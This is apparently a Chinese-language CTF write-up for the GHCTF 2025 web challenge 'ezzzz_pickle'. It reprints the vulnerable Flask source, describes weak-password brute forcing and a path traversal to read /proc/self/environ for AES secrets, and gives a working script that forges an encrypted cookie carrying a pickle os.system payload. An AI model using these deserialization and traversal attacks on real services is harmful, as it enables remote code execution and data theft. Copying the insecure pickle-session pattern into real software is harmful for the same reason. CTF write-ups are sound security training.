GHCTF 2025-ezzzz_pickle-wp
web
ezzzz_pickle
先爆破弱密码
进入filename存在路径遍历,../app.py
读出源码
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {
"admin": "admin123",
}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600 # 1小时后过期
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session
def download_file(filename):
path = os.path.join("static", filename)
with open(path, 'rb') as f:
data = f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] != "admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data = ""
filename = request.form.get("filename")
if filename:
data = download_file(filename)
return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html", error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)
SECRET_iv
和SECRET_key
从环境读取
/etc/environment`、`~/.bashrc`、`~/.profile`、`/proc/self/environ
/proc/self/environ
可以读出
根据原有逻辑反过来pickle.loads
的位置在validate_session
,前面有base64
和AES
尝试可行后在根目录找到/flag11451412343212351256354
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import pickle
opcode = b"""cos
system
(S'cat /flag11451412343212351256354 > static/fake_flag.txt'
tR."""
# fake = pickle.loads(opcode)
SECRET_KEY = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
SECRET_IV = b"asdwdggiouewhgpw"
b64_pickled = base64.b64encode(opcode)
cipher = AES.new(SECRET_KEY, AES.MODE_CBC, SECRET_IV)
padded_data = pad(b64_pickled, AES.block_size)
encrypted = cipher.encrypt(padded_data)
cookie = base64.b64encode(encrypted).decode("utf-8")
print("Exploit Cookie:", cookie)
NSSCTF{40d1a545-8f2c-4bce-92f4-ff69edf9ca3d}
Comments 1 条评论
111